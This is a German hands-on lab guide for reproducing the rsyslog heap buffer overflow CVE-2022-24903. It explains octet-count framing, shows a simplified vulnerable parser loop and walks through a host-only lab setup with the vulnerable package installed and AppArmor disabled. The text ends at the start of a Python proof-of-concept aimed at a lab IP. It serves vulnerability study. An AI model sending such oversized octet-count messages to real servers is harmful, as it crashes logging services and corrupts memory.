
CVE-2022-24903 Heap-basierter Pufferüberlauf
Autor: Andrew Beshay Mousa
Ein praktisches Labor, das die Heap-Pufferüberlauf-Schwachstelle in rsyslog demonstriert.
Eine praktische Laborumgebung, um die rsyslog Heap-Pufferüberlauf-Schwachstelle (CVE-2022-24903) über das Octet-Count-Framing beim TCP-Syslog-Empfang zu reproduzieren und zu verstehen.
CVE-2022-24903 ist eine Heap-Pufferüberlauf-Schwachstelle im TCP-Syslog-Empfangsmodul (imtcp) von rsyslog bei Verwendung der oktettzählenden Rahmung (RFC 5425).
Ein Angreifer kann eine präparierte TCP-Syslog-Nachricht mit einem übermäßig langen Oktettanzahl-Präfix senden, wodurch rsyslog über die Grenzen eines heap-allokierten Puffers hinaus schreibt. Dies führt zu einem Denial-of-Service (DoS) oder potenzieller Speicherkorruption.
| Attribut | Wert |
|---|---|
| CVE-ID | CVE-2022-24903 |
| Betroffen | rsyslog < 8.2204.1 |
| Angriffsvektor | Netzwerk |
| Port | 514/TCP |
| Modul | imtcp (TCP-Eingang) |
| Auswirkung | DoS / Heap-Korruption |
| RCE wahrscheinlich? | Nein (Herstellereinschätzung) |
+----------------------------------------------------------+
| Network: Host-Only |
| Subnet: 192.168.56.0/24 |
+--------------------------+-------------------------------+
| | |
| +---------------+ | +--------------------+ |
| | [Attacker] | | | [Target] | |
| | Kali Linux |<-----|----->| Ubuntu 22.04 | |
| | | TCP | | rsyslog 8.2001.0 | |
| | 192.168.56.10| 514 | | 192.168.56.20 | |
| | RAM: 2GB | | | RAM: 1GB | |
| | CPU: 1 | | | CPU: 1 | |
| +---------------+ | +--------------------+ |
| | |
+----------------------------------------------------------+
| VM | OS | Rolle | IP | RAM | CPU |
|---|---|---|---|---|---|
| Ziel | Ubuntu 22.04 | Verwundbarer rsyslog-Server | 192.168.56.20 | 1 GB | 1 |
| Angreifer | Kali Linux | Exploit-Sender | 192.168.56.10 | 2 GB | 1 |
Hinweis: Du kannst jede Ubuntu-Version (20.04, 22.04, 24.04) als Ziel verwenden. Entscheidend ist, das verwundbare rsyslog 8.2001.0-
.deb-Paket manuell zu installieren.
Bei TCP-Syslog (RFC 5425) wird den Nachrichten ihre Länge in Bytes vorangestellt:
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
octet count (3 digits = 123 bytes follow)
In verwundbaren rsyslog-Versionen funktioniert der Oktettanzahl-Parser wie folgt:
// Simplified vulnerable logic:
char buffer[20]; // Small heap buffer
int i = 0;
while (isdigit(ch)) { // Read digits
buffer[i++] = ch; // Write to buffer
// MISSING: if (i >= 20) break;
ch = next_char();
}
Ergebnis: Das Senden von 9999... (5000+ Ziffern) lässt den Heap-Puffer überlaufen und korrumpiert angrenzenden Speicher.
0-9) beschränktErstelle in deinem Hypervisor ein Host-Only-Netzwerk:
192.168.56.0/24Verbinde beide VMs mit diesem Netzwerk.
sudo nano /etc/netplan/00-installer-config.yaml
Einfügen:
network:
version: 2
ethernets:
enp0s3:
dhcp4: no
addresses:
- 192.168.56.20/24
Anwenden:
sudo netplan apply
Überprüfen:
ip addr show | grep 192.168.56.20
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog
Falls du einen dpkg-Sperrfehler erhältst:
sudo kill -9 <PID> sudo rm -f /var/lib/dpkg/lock-frontend sudo dpkg --configure -a
Version überprüfen:
rsyslogd -v | head -2
Erwartete Ausgabe:
rsyslogd 8.2001.0
AppArmor kann rsyslog daran hindern, mit dem alten Paket korrekt zu funktionieren:
sudo systemctl stop apparmor
sudo systemctl disable apparmor
sudo nano /etc/rsyslog.conf
Datei leeren und Folgendes einfügen:
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log
sudo ufw allow 514/tcp
sudo ufw --force enable
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager
Überprüfen, ob der Dienst lauscht:
sudo ss -tlnp | grep 514
Erwartet:
LISTEN 0 25 0.0.0.0:514 users:(("rsyslogd",pid=...,fd=4))
sudo nano /etc/network/interfaces
Einfügen:
auto eth0
iface eth0 inet static
address 192.168.56.10
netmask 255.255.255.0
Oder falls du Netplan verwendest:
sudo nano /etc/netplan/01-netcfg.yaml
network:
version: 2
ethernets:
eth0:
dhcp4: no
addresses:
- 192.168.56.10/24
sudo netplan apply
cd ~/Desktop
nano exploit.py
Einfügen:
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""
import socket
import sys
TARGET = "192.168.56.20" # Change to your Target IP
PORT = 514